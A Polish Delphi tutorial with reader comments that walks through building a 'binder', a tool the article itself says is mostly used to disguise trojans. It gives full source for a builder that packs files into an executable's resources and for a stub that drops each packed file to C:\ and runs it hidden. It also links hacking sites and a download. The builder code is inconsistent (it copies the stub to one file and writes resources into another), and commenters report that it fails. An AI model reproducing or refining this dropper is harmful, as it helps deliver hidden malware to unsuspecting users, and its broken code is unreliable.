Programowanie w języku Delphi » Gotowce

Prosty binder

  • 2008-01-19 12:28
  • 6 komentarzy
  • 1037 odsłon
  • Oceń ten tekst jako pierwszy
Pierwsza rzecz, od której rozpocznę ten artykuł, to wyjaśnienie czym jest binder.

Binder (ang. segregator, lub od bind - ang. łączyć) - rodzaj programu komputerowego, służący do łączenia dwóch różnych plików. Najczęściej jest wykorzystywany do maskowania trojanów, poprzez łączenie ich z innymi dowolnie wybranymi plikami. Ofiara uruchamiając plik, uruchamia trojana i program maskujący, którym może być dowolny plik wykonywalny.

Źródło : www.wikipedia.pl

Teraz przejdźmy do rzeczy :

Co będzie nam potrzebne aby napisać ten binder?

Środowisko programistyczne (kompilator) Delphi 7 Personal Edition. (www.borland.pl)

Do napisania bindera, dla niewiedzących nie trzeba ściągać żadnych komponentów.


No to czas do dzieła!!! :

1) Wrzucamy na formę komponent OpenDialog z zakładki Dialogs i dajemy mu nazwę OD.
2) Wrzucamy na formę 2 buttony i nazywamy je : btn1, btn2 (caption : Binduj i Otwórz)
3) Wrzucamy na formę listbox z zakładki Standard i dajemy mu nazwę lst

Wszystko razem powinno to tak wyglądać :

user image


Czas na kod!!! :

Pomiędzy formą i kodem możemy się przełączać naciskając przycisk F12.

--- Klikamy 2x na przycisk btn1 (Otwórz) i wklepujemy kod :

procedure TForm1.btn1Click(Sender: TObject);
begin
  if OD.Execute then
    lst.Items.Add(OD.FileName);
end;


--- Klikamy 2x na przycisk btn2 (Binduj) i wklepujemy kod :

procedure TForm1.btn2Click(Sender: TObject);
var
  I:Integer;
  H, Size, FH, BR:DWORD;
  Local:String;
  Buf:Pointer;
begin
  Local:= ExtractFilePath(ParamStr(0));
  CopyFile(PChar(Local+'Stub\Stub.exe'), PChar(Local+'zbindowany.exe'), False);
  H:= BeginUpdateResource(PChar(Local+'Out.exe'), True);
  for I:= 0 to Lst.Items.Count-1 do begin
    FH:= CreateFile(PChar(lst.Items[I]), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    Size:= GetFileSize(FH, nil);
    GetMem(Buf, Size);
    ReadFile(FH, Buf^, Size, BR, nil);
    CloseHandle(FH);
    UpdateResource(H, RT_RCDATA, PChar(UpperCase(ExtractFileName(lst.Items[I]))), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), Buf, Size);
    FreeMem(Buf);
  end;
  EndUpdateResource(H, False);
end;



--- Teraz klikamy na komponent lst i wchodzimy w zakładkę Events i szukamy OnDblClick, gdy już znaleźliśmy, klikamy 2x na puste polę obok OnDblClick i wklepujemy kod :

procedure TForm1.LstDblClick(Sender: TObject);
begin
  if lst.ItemIndex <> -1 then
    lst.Items.Delete(lst.ItemIndex);
end;
 
end.


No i to by było na tyle! Prawda że mało nam się wydaje? Ale to nie koniec.

Tworzymy aplikację konsolową i wklepujemy kod :

program Stub;
 
uses
  Windows, ShellApi;
 
function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0);
end;
 
begin
  EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
end.



Plik zapisujemy do dowolnego folderu i nazywamy go "Stub". Następnie kompilujemy.


Pamiętajcie! Za każdym razem jak chcecie zbindować jakiś plik, musicie do niego dołączyć plik Stub.exe.


Program można urozmaicać jak chcecie, można zmienić ikonę, dodać obrazek (Zakładka Additional i tam jest Image), zmieniać kod itd.

A do tego jest potrzebna wiedza, więc podaje kilka stron z których można się czegoś nauczyć o Delphi (Object Pascal'u) :

http://www.4programmers.net
http://www.binboy.sphere.pl/
http://www.ofkurs.kgb.pl/
http://www.haxite.org/
http://www.hackme.pl/news.html


Źródło (+ stub) :

1) http://rapidshare.com/files/55761226/Prosty_Binder.rar.html

6 komentarzy

lankusiek 2008-07-04 13:08

przepraszam ale napisales na koncu "Tworzymy aplikację konsolową i wklepujemy kod". gdzie(jak) tworzymy tą aplikacje? gdzie wpisujemy ten kod?:) PS. to jest moj pierwszy kontakt z Delphi :)

bronex 2008-03-24 21:10

Program nie tworzy pliku Out.exe :(( Czy moglbyś to naprawić, aby binder dzialal. Nie jeden użytkownik będzie wdzięczny :))

Demonical Monk 2008-01-19 20:05

A może opiszesz jak to działa?
Bo ja widzę że u mnie tylko kopiuje stub.exe i tyle,
a żadnego Out.exe nie tworzy. Używam tego samego Delphi co ty.

MikiKam 2008-01-17 19:17

A może tak byś opisał kod jakimiś komentarzami?

bordeux 2008-01-19 09:28

Jak ktos znow to bedzie edytować to ossadzcie ten obrazek a nie do niego link...